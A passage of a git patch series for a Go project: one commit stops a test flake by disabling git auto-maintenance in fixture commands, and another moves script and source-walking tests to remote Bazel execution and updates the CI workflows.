writes "locked", then "gitdir", so a detached maintenance run reading .git/worktrees inside that window prunes the entry and the add dies with fatal: could not open '.git/worktrees/worktree/locked' for writing: No such file or directory Seen twice on Main's Test (ubuntu-latest), both on a fresh init + one commit + "git worktree add HEAD" inside the test's own t.TempDir: - 33507469201 attempt 1 (2026-09-01): internal/config TestInitialize_IgnoresWorktreeFallbackConfigWhenRequested - 37513420893 attempt 1 (2026-10-06, git 2.55.0, ubuntu-24.04 20260927.320.1): internal/beads TestResolveBeadsDirForRepoIgnoresInheritedRouting The second test unsets every git routing key and resets HOME before any git call, so no environment-level setting (GIT_CONFIG_COUNT, a global config) can reach its fixture: the setting has to ride on the fixture's own command line. Every fixture git command in internal/beads now goes through gitCommand, which prepends -c maintenance.auto=false -c gc.auto=0 (the gc.auto half covers git before 2.29, where commit ran gc --auto instead), and the internal/config fixture's closure does the same. Proof (git 2.55.0): GIT_TRACE over the two tests above at main shows 3 "maintenance run --auto --quiet --detach" spawns for 3 worktree adds; at this commit 0 spawns, the same 3 adds. An empty .git/worktrees/x is removed by "git maintenance run --auto"; with -c maintenance.auto=false a commit starts no maintenance. Co-authored-by: Claude Fable 5.1 --- .../beads/beads_inherited_artifacts_test.go | 16 +++++----- internal/beads/beads_test.go | 31 +++++++++++++------ internal/beads/context_test.go | 2 +- internal/beads/fingerprint_test.go | 6 ++-- internal/config/worktree_config_test.go | 5 ++- 5 files changed, 38 insertions(+), 22 deletions(-) diff --git a/internal/beads/beads_inherited_artifacts_test.go b/internal/beads/beads_inherited_artifacts_test.go index 0b43f4419..25ed6c873 100644 --- a/internal/beads/beads_inherited_artifacts_test.go +++ b/internal/beads/beads_inherited_artifacts_test.go @@ -44,7 +44,7 @@ func TestFindBeadsDir_WorktreeWithInheritedArtifacts(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -154,7 +154,7 @@ func TestFindBeadsDir_WorktreeSeparateDBPreservesLocal(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -258,7 +258,7 @@ func runWorktreeSeparateDBPreservedTest(t *testing.T, databaseMarker string) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -356,7 +356,7 @@ func TestFindBeadsDir_WorktreeNoDatabaseAnywhereFallsBackToLocal(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -457,7 +457,7 @@ func TestFindDatabasePath_WorktreeServerModeSharesMainRepo(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -594,7 +594,7 @@ func TestFindBeadsDir_JJSecondaryWithInheritedArtifacts(t *testing.T) { // Set up git in the primary (so git rev-parse works from the secondary). runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, gitErr := cmd.CombinedOutput() if gitErr != nil { @@ -717,7 +717,7 @@ func TestFindBeadsDir_JJSecondarySeparateDBPreservesLocal(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, gitErr := cmd.CombinedOutput() if gitErr != nil { @@ -806,7 +806,7 @@ func TestFindDatabasePath_WorktreeServerModeFromSubdir(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/internal/beads/beads_test.go b/internal/beads/beads_test.go index 555ee0fc9..606e9a38d 100644 --- a/internal/beads/beads_test.go +++ b/internal/beads/beads_test.go @@ -872,10 +872,23 @@ func setupRegularWorktreeRepo(t *testing.T) (string, string) { return mainRepoDir, worktreeDir } +// noAutoMaintenance keeps a fixture's git commit from starting the detached +// "git maintenance run --auto" (gc --auto on git before 2.29). Its worktree-prune +// task removes a worktree admin dir that has neither gitdir nor locked yet, which +// is exactly the window between "git worktree add"'s mkdir and its locked write, +// so a later "git worktree add" in the same repo can die with "could not open +// .git/worktrees//locked for writing". Seen on ubuntu-latest with git 2.55.0. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} + func runGitInDir(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { @@ -1454,7 +1467,7 @@ func TestFindGitRoot_Worktree(t *testing.T) { if err := cmd.Run(); err != nil { t.Fatal(err) } - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1575,7 +1588,7 @@ func TestFindBeadsDir_Worktree(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1676,7 +1689,7 @@ func TestFindBeadsDir_WorktreeRedirectOverride(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1785,7 +1798,7 @@ func TestFindDatabasePath_WorktreeRedirectOverride(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1908,7 +1921,7 @@ func TestFindBeadsDir_SiblingWorktree(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -2029,7 +2042,7 @@ func TestFindDatabasePath_Worktree(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -2134,7 +2147,7 @@ func TestFindDatabasePath_WorktreeSeparateDB(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -2250,7 +2263,7 @@ func TestFindDatabasePath_WorktreeNoLocalDB(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) diff --git a/internal/beads/context_test.go b/internal/beads/context_test.go index 4bcd5eecb..49d704cce 100644 --- a/internal/beads/context_test.go +++ b/internal/beads/context_test.go @@ -1298,7 +1298,7 @@ func initGitRepoWithCommit(dir string) error { if err := addCmd.Run(); err != nil { return err } - commitCmd := exec.Command("git", "commit", "-m", "Initial commit") + commitCmd := gitCommand("commit", "-m", "Initial commit") commitCmd.Dir = dir return commitCmd.Run() } diff --git a/internal/beads/fingerprint_test.go b/internal/beads/fingerprint_test.go index 8a41c404f..8b86a25bf 100644 --- a/internal/beads/fingerprint_test.go +++ b/internal/beads/fingerprint_test.go @@ -339,7 +339,7 @@ func TestComputeRepoID_WorktreeMatchesMainRepo(t *testing.T) { // Create main repo (no remote — forces path-based fingerprint) initFingerprintGitRepo(t, mainRepo, "") // Need at least one commit for worktree creation - cmd := exec.Command("git", "commit", "--allow-empty", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "-m", "init") cmd.Dir = mainRepo if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -381,7 +381,7 @@ func TestComputeRepoID_WorktreeWithRemoteMatchesMainRepo(t *testing.T) { mainRepo := t.TempDir() initFingerprintGitRepo(t, mainRepo, "https://github.com/test/repo.git") - cmd := exec.Command("git", "commit", "--allow-empty", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "-m", "init") cmd.Dir = mainRepo if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -419,7 +419,7 @@ func TestGetCloneID_WorktreeMatchesMainRepo(t *testing.T) { mainRepo := t.TempDir() initFingerprintGitRepo(t, mainRepo, "") - cmd := exec.Command("git", "commit", "--allow-empty", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "-m", "init") cmd.Dir = mainRepo if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) diff --git a/internal/config/worktree_config_test.go b/internal/config/worktree_config_test.go index 1a8fd7185..a16c7fdd0 100644 --- a/internal/config/worktree_config_test.go +++ b/internal/config/worktree_config_test.go @@ -20,9 +20,12 @@ func setupConfigWorktree(t *testing.T) (mainRepoDir, worktreeDir, mainConfigPath t.Fatalf("failed to create main repo dir: %v", err) } + // maintenance.auto=false (gc.auto=0 on git before 2.29) keeps the commit from + // starting the detached "git maintenance run --auto" whose worktree-prune can + // remove the admin dir "git worktree add" is still writing (its locked file). run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := exec.Command("git", append([]string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"}, args...)...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) From 0500fc6f408e2464ecd344c5fcf820d74d3e1aa2 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 22:20:16 +0000 Subject: [PATCH 009/213] ci(bazel): run the scripts and source-walking tests remotely; retire their go test legs (#7320) //scripts:scripts_test and //scripts/check-versions:check-versions_test drop their host-tools/no-remote-exec/no-remote-cache tags and run on the rbe-west workers like every other target (the worker image ships bash, git, python3, jq, yq, curl, openssl, unzip and coreutils; a missing tool fails the test under Bazel rather than skipping it). Go comes in hermetically as the registered SDK; check-versions.sh's `go build` is stood in for by the Bazel-built checker. The tests that walked the source checkout now get it as data: tools/bazel/go_srcs.py keeps a managed `repo_files` filegroup in every package and aggregates them into //:repo_files (exactly the tracked files Bazel can see; make bazel-sync-check fails on a package without one). scripts_test and docsync_test take it instead of hand-listed filegroups, and every TEST_SRCDIR/IsBazel skip and go-test-only block in them is gone. The release formula under .bazelignore'd .beads/ comes in through a @beads_formulas local repository; npm-package/ and .claude/ are visible to Bazel again (only their node_modules/worktrees stay ignored), so the npm manifest release check and the AGENTS.md skill links run under Bazel too. TestZZStdioNotLeaked falls back to TestMain's pre-run streams instead of skipping in a shard without its baseline. tools/bazel/equivalence_allowlist.txt shrinks from 20 skip entries to the two cmd/bd tests of plain go test's own bd build fallback, which Bazel never takes; pr-preflight-platforms now runs them on Linux, macOS and Windows. The scripts-go-checks scripts-test and allowlisted legs, their scripts (scripts-go-test.sh, allowlisted-go-tests.sh, run_allowlisted_go_tests.py) and main.yml's --compile-only warm for them are removed. The vet leg stays (ga-96smfk.18). Refs: ga-96smfk.16 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelignore | 4 +- .github/workflows/main.yml | 48 ++- .github/workflows/pr.yml | 72 +--- BUILD.bazel | 308 ++++++++++++------ MODULE.bazel | 15 + backend/BUILD.bazel | 22 ++ backend/conformance/BUILD.bazel | 22 ++ beadserrors/BUILD.bazel | 22 ++ cmd/bd/BUILD.bazel | 35 +- cmd/bd/doctor/BUILD.bazel | 22 ++ cmd/bd/doctor/fix/BUILD.bazel | 22 ++ cmd/bd/protocol/BUILD.bazel | 22 ++ cmd/bd/setup/BUILD.bazel | 22 ++ cmd/bd/test_repo_beads_guard_test.go | 6 + cmd/bd/zz_stdio_leak_guard_test.go | 28 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 46 +-- format/BUILD.bazel | 22 ++ internal/ado/BUILD.bazel | 22 ++ internal/atomicfile/BUILD.bazel | 22 ++ internal/audit/BUILD.bazel | 22 ++ internal/beads/BUILD.bazel | 22 ++ internal/ceiling/BUILD.bazel | 22 ++ internal/compact/BUILD.bazel | 22 ++ internal/config/BUILD.bazel | 22 ++ internal/configfile/BUILD.bazel | 22 ++ internal/creds/BUILD.bazel | 22 ++ internal/debug/BUILD.bazel | 22 ++ internal/doltremote/BUILD.bazel | 22 ++ internal/doltserver/BUILD.bazel | 22 ++ internal/doltversion/BUILD.bazel | 22 ++ internal/eventsjournal/BUILD.bazel | 22 ++ internal/execenv/BUILD.bazel | 22 ++ internal/fdhygiene/BUILD.bazel | 22 ++ internal/formula/BUILD.bazel | 22 ++ internal/formula/cmd/schemagen/BUILD.bazel | 22 ++ internal/formula/schemagen/BUILD.bazel | 22 ++ internal/git/BUILD.bazel | 22 ++ internal/gitenv/BUILD.bazel | 22 ++ internal/githooksenv/BUILD.bazel | 22 ++ internal/github/BUILD.bazel | 22 ++ internal/gitignore/BUILD.bazel | 22 ++ internal/gitlab/BUILD.bazel | 22 ++ internal/gittraceenv/BUILD.bazel | 22 ++ internal/hooks/BUILD.bazel | 22 ++ internal/httpapi/BUILD.bazel | 22 ++ internal/httpapi/apigen/BUILD.bazel | 22 ++ internal/httpapi/spec/BUILD.bazel | 22 ++ internal/httpapi/wireshape/BUILD.bazel | 22 ++ .../wireshape/cmd/gendigest/BUILD.bazel | 22 ++ internal/httpclient/BUILD.bazel | 22 ++ internal/httpclient/encode/BUILD.bazel | 22 ++ internal/httpclient/wire/BUILD.bazel | 22 ++ internal/idgen/BUILD.bazel | 22 ++ internal/jira/BUILD.bazel | 22 ++ internal/linear/BUILD.bazel | 22 ++ internal/lockfile/BUILD.bazel | 22 ++ internal/memoryapi/BUILD.bazel | 22 ++ internal/metrics/BUILD.bazel | 22 ++ internal/migration/BUILD.bazel | 22 ++ internal/migration/legacysqlite/BUILD.bazel | 22 ++ internal/molecules/BUILD.bazel | 22 ++ internal/notion/BUILD.bazel | 22 ++ internal/procid/BUILD.bazel | 22 ++ internal/query/BUILD.bazel | 22 ++ internal/recipes/BUILD.bazel | 22 ++ internal/remotecache/BUILD.bazel | 22 ++ internal/routing/BUILD.bazel | 22 ++ internal/storage/BUILD.bazel | 22 ++ internal/storage/backendnames/BUILD.bazel | 22 ++ internal/storage/backends/BUILD.bazel | 22 ++ internal/storage/batchbench/BUILD.bazel | 22 ++ internal/storage/batchfixtures/BUILD.bazel | 22 ++ internal/storage/contextinfo/BUILD.bazel | 22 ++ internal/storage/createbatchequiv/BUILD.bazel | 22 ++ internal/storage/dberrors/BUILD.bazel | 22 ++ internal/storage/dbproxy/identity/BUILD.bazel | 22 ++ internal/storage/dbproxy/pidfile/BUILD.bazel | 22 ++ internal/storage/dbproxy/proxy/BUILD.bazel | 22 ++ internal/storage/dbproxy/server/BUILD.bazel | 22 ++ internal/storage/dbproxy/util/BUILD.bazel | 22 ++ internal/storage/depid/BUILD.bazel | 22 ++ internal/storage/dolt/BUILD.bazel | 22 ++ internal/storage/doltutil/BUILD.bazel | 22 ++ internal/storage/domain/BUILD.bazel | 22 ++ internal/storage/domain/db/BUILD.bazel | 22 ++ internal/storage/domain/fs/BUILD.bazel | 22 ++ internal/storage/domain/git/BUILD.bazel | 22 ++ internal/storage/embeddeddolt/BUILD.bazel | 22 ++ internal/storage/embeddeddolt/cmd/BUILD.bazel | 22 ++ internal/storage/externaldeps/BUILD.bazel | 22 ++ internal/storage/fs/BUILD.bazel | 22 ++ internal/storage/git/BUILD.bazel | 22 ++ internal/storage/issueops/BUILD.bazel | 22 ++ internal/storage/journalscan/BUILD.bazel | 22 ++ internal/storage/kvkeys/BUILD.bazel | 22 ++ internal/storage/memoryops/BUILD.bazel | 22 ++ internal/storage/rowid/BUILD.bazel | 22 ++ internal/storage/schema/BUILD.bazel | 28 +- internal/storage/sqlbuild/BUILD.bazel | 22 ++ internal/storage/sqlclass/BUILD.bazel | 22 ++ internal/storage/sqlcount/BUILD.bazel | 22 ++ internal/storage/storagecontract/BUILD.bazel | 22 ++ internal/storage/uow/BUILD.bazel | 22 ++ .../storage/versioncontrolops/BUILD.bazel | 22 ++ internal/telemetry/BUILD.bazel | 22 ++ internal/templates/BUILD.bazel | 22 ++ internal/templates/agents/BUILD.bazel | 22 ++ internal/testutil/BUILD.bazel | 28 +- internal/testutil/bazeltest/BUILD.bazel | 22 ++ internal/testutil/credentialcmd/BUILD.bazel | 22 ++ internal/testutil/fixtures/BUILD.bazel | 22 ++ internal/testutil/integration/BUILD.bazel | 22 ++ internal/timeparsing/BUILD.bazel | 22 ++ internal/tracker/BUILD.bazel | 22 ++ internal/tracker/conformance/BUILD.bazel | 22 ++ internal/types/BUILD.bazel | 22 ++ internal/ui/BUILD.bazel | 22 ++ internal/uimd/BUILD.bazel | 22 ++ internal/utils/BUILD.bazel | 22 ++ internal/validation/BUILD.bazel | 22 ++ internal/versioncheck/BUILD.bazel | 22 ++ internal/versioncheck/check_test.go | 27 +- internal/workapi/BUILD.bazel | 22 ++ internal/workapi/storecounter/BUILD.bazel | 22 ++ internal/workapi/storequerier/BUILD.bazel | 22 ++ internal/workapi/storereader/BUILD.bazel | 22 ++ .../workapi/storereadycounter/BUILD.bazel | 22 ++ internal/workapi/storestats/BUILD.bazel | 22 ++ .../storeversionreconciler/BUILD.bazel | 22 ++ .../workapi/storeworkspaceconfig/BUILD.bazel | 22 ++ internal/workspacegate/BUILD.bazel | 22 ++ internal/worktreeremove/BUILD.bazel | 22 ++ issueops/BUILD.bazel | 22 ++ journalops/BUILD.bazel | 22 ++ memoryops/BUILD.bazel | 22 ++ plugins/beads/BUILD.bazel | 22 ++ schema/BUILD.bazel | 22 ++ scripts/BUILD.bazel | 90 +++-- scripts/bazel_policy_test.go | 138 +++++--- scripts/bazel_skip_allowlist_test.go | 56 ++-- scripts/bench-ready-indexes/BUILD.bazel | 22 ++ scripts/check-testing-short.sh | 5 +- scripts/check-versions/BUILD.bazel | 43 ++- scripts/check-versions/pre_push_hook_test.go | 47 ++- scripts/check-winget-portable-alias.sh | 6 +- scripts/check_testing_short_test.go | 12 +- scripts/check_winget_portable_alias_test.go | 12 +- scripts/checkworkflowtags/BUILD.bazel | 22 ++ scripts/ci/allowlisted-go-tests.sh | 25 -- scripts/ci/scripts-go-test.sh | 26 -- scripts/ci_f7b_review_test.go | 62 +--- scripts/ci_workflow_test.go | 116 +++---- scripts/embedded_shard_count_test.go | 31 +- scripts/gitattributespolicy/BUILD.bazel | 22 ++ scripts/host_tools_test.go | 23 +- scripts/internal/testbash/BUILD.bazel | 22 ++ scripts/migration-test/catalog/BUILD.bazel | 22 ++ scripts/pr-lint/BUILD.bazel | 22 ++ scripts/pr_lanes_bazel_coverage_test.go | 264 ++++----------- scripts/pr_risk_bazel_coverage_test.go | 90 ++--- scripts/prlintmake/BUILD.bazel | 22 ++ scripts/release_script_test.go | 25 +- scripts/repro-dolt-hang/BUILD.bazel | 22 ++ scripts/repro-dolt-prod-timeouts/BUILD.bazel | 22 ++ scripts/test_script_test.go | 13 +- scripts/workflowtags/BUILD.bazel | 22 ++ test/conformance/BUILD.bazel | 22 ++ test/docsync/BUILD.bazel | 30 +- test/docsync/agentfiles_test.go | 26 +- test/testmainconvention/BUILD.bazel | 22 ++ third_party/patches/BUILD.bazel | 22 ++ tools/bazel/BUILD.bazel | 28 +- tools/bazel/equivalence_allowlist.txt | 40 +-- tools/bazel/go_srcs.py | 134 +++++++- tools/bazel/run_allowlisted_go_tests.py | 193 ----------- tools/docsmint/BUILD.bazel | 22 ++ 176 files changed, 4045 insertions(+), 1193 deletions(-) delete mode 100755 scripts/ci/allowlisted-go-tests.sh delete mode 100755 scripts/ci/scripts-go-test.sh delete mode 100755 tools/bazel/run_allowlisted_go_tests.py diff --git a/.bazelignore b/.bazelignore index 541477a1d..02f8e8fdb 100644 --- a/.bazelignore +++ b/.bazelignore @@ -1,9 +1,9 @@ examples/library-usage examples/bd-example-extension-go -npm-package +npm-package/node_modules website node_modules -.claude +.claude/worktrees .worktrees .beads .dolt diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index a05c26274..b9ff6ec52 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -102,18 +102,13 @@ jobs: # pr-preflight-platforms ubuntu legs compile several ./scripts and # ./cmd/bd test binaries but, before this, used no GOCACHE at all (every # run cold-compiled them). This warms the non-race GOCACHE this job - # already saves (below) with exactly those packages, plus the - # allowlisted-go-tests packages scripts-go-checks' allowlisted leg - # needs (--compile-only: the allowlist's own packages, so this can - # never drift from what that leg runs). Shared with + # already saves (below) with exactly those packages. Shared with # blacksmith-go-build-cache's non-race leg (the same-repo-PR path's # seed) so the two paths can never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE for preflight/doc-freshness/allowlisted + - name: Warm non-race GOCACHE for preflight/doc-freshness env: GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - bash scripts/ci/warm-non-race-cache.sh - python3 tools/bazel/run_allowlisted_go_tests.py --compile-only + run: bash scripts/ci/warm-non-race-cache.sh - name: Save Go module cache if: steps.restore-go-module-cache.outputs.cache-hit != 'true' @@ -844,14 +839,14 @@ jobs: path: ${{ runner.temp }}/go-cache/vet key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # F7b: pr.yml's scripts-go-checks moved to same-repo Blacksmith - # (blacksmith-4vcpu-ubuntu-2404); this is that path's saver for the race and - # non-race GOCACHEs its scripts-test and allowlisted legs restore (the vet - # leg is already covered by go-vet-cache's venue matrix above). Blacksmith - # runners cannot see caches `actions/cache` saved from a GitHub-hosted - # runner (and vice versa) even for an identical key, so without this every - # same-repo PR's scripts-go-checks race/non-race legs would stay cold - # forever. + # F7b: the saver for the race and non-race GOCACHEs that same-repo-PR + # (Blacksmith, blacksmith-4vcpu-ubuntu-2404) jobs restore: the non-race one + # for pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu + # legs; the race one compiles ./scripts/... with -race (once the compile + # set of scripts-go-checks' retired scripts-test leg). Blacksmith runners + # cannot see caches `actions/cache` saved from a GitHub-hosted runner (and + # vice versa) even for an identical key, so without this those legs would + # stay cold forever. # # The `venue` matrix also seeds the ubuntu-latest (fork/Dependabot) path's # race cache, which the legacy embedded build used to save before Bazel @@ -934,27 +929,22 @@ jobs: key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - # scripts-go-checks' scripts-test leg's exact compile set. -run '^$' - # selects no tests (only compiles), so this needs no Dolt/test-env setup. - - name: Warm race GOCACHE (scripts-go-checks scripts-test leg) + # -run '^$' selects no tests (only compiles), so this needs no + # Dolt/test-env setup. + - name: Warm race GOCACHE if: matrix.flavor == 'race' env: GOCACHE: ${{ runner.temp }}/go-cache/race run: go test -race -run '^$' -tags gms_pure_go ./scripts/... - # scripts-go-checks' allowlisted leg (run_allowlisted_go_tests.py - # --compile-only: the allowlist's own packages, so this can never drift - # from what that leg actually runs) plus pr-preflight-platforms'/ - # check-doc-freshness-platforms' ubuntu legs via warm-non-race-cache.sh, - # shared with build-artifacts' identical steps so the two paths can - # never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE (scripts-go-checks allowlisted leg + preflight/doc-freshness) + # pr-preflight-platforms'/check-doc-freshness-platforms' ubuntu legs via + # warm-non-race-cache.sh, shared with build-artifacts' identical step so + # the two paths can never drift apart (F7b spec 4.2). + - name: Warm non-race GOCACHE (preflight/doc-freshness) if: matrix.flavor == 'non-race' env: GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - bash scripts/ci/warm-non-race-cache.sh - python3 tools/bazel/run_allowlisted_go_tests.py --compile-only + run: bash scripts/ci/warm-non-race-cache.sh - name: Save race Go build cache if: ${{ !cancelled() && matrix.flavor == 'race' && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 1a1fda034..fcb011073 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1070,6 +1070,16 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd + # Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), + # which Bazel never takes, on every OS developers run go test on: the + # tests tools/bazel/equivalence_allowlist.txt lists as skipped under + # Bazel. Same build as the step above, so no second compile. + - name: Exercise go test's bd build fallback + shell: bash + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: go test '-tags=gms_pure_go' -count=1 -run '^(TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd + # This step recompiles ./cmd/bd's test binary. It must share the restored # GOCACHE with the hook-timeout step above (same tags, same platform # default CGO_ENABLED, see the script's header) so it is a relink rather @@ -1202,7 +1212,7 @@ jobs: # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / # test (`bazel test //... --config=ci`, the same selection, checked by its # equivalence step) runs it, and scripts-go-checks runs what Bazel does not - # (./scripts/... and the allowlisted tests under go test, go test's vet). + # (go test's vet). pr-core-wrapper: name: PR Core (wrapper timing) runs-on: ubuntu-latest @@ -1262,20 +1272,15 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/race run: make ci-pr-core - # PR Core's duties the Bazel lanes do not take over (D2 step 3), on every - # PR whatever bazel-coverage says, in PR Core's environment (dolt, git and - # dolt identity, scripts/ci/lib/test-env.sh): - # - `go test ./scripts/...` with PR Core's flags: the repository policy - # tests, several of which check part or all of their rules under go test - # only (scripts/bazel_skip_allowlist_test.go keeps such parts there); - # - go test's own vet checks over ./... (rules_go's go_test runs none); - # - the Go tests `bazel test --config=ci` does not run or skips - # (tools/bazel/equivalence_allowlist.txt), each required to pass. + # PR Core's duty the Bazel lanes do not take over (D2 step 3), on every PR + # whatever bazel-coverage says: go test's own vet checks over ./... + # (rules_go's go_test runs none). The repository policy tests in + # ./scripts/... and the source-walking tests run under Bazel + # (//scripts:scripts_test, //test/docsync over //:repo_files), remotely. # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot, same # pattern as advisory-reports/pr-policy-wrapper/pr-core-wrapper above. - # main.yml's blacksmith-go-build-cache job seeds this leg's race and - # non-race GOCACHEs; go-vet-cache's venue matrix seeds the vet leg's. + # main.yml's go-vet-cache venue matrix seeds the vet leg's GOCACHE. scripts-go-checks: name: Go checks (${{ matrix.check }}) runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} @@ -1283,7 +1288,7 @@ jobs: strategy: fail-fast: false matrix: - check: [scripts-test, vet, allowlisted] + check: [vet] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1301,14 +1306,6 @@ jobs: key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - name: Restore race Go build cache - if: matrix.check == 'scripts-test' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - name: Restore vet Go build cache if: matrix.check == 'vet' uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 @@ -1321,45 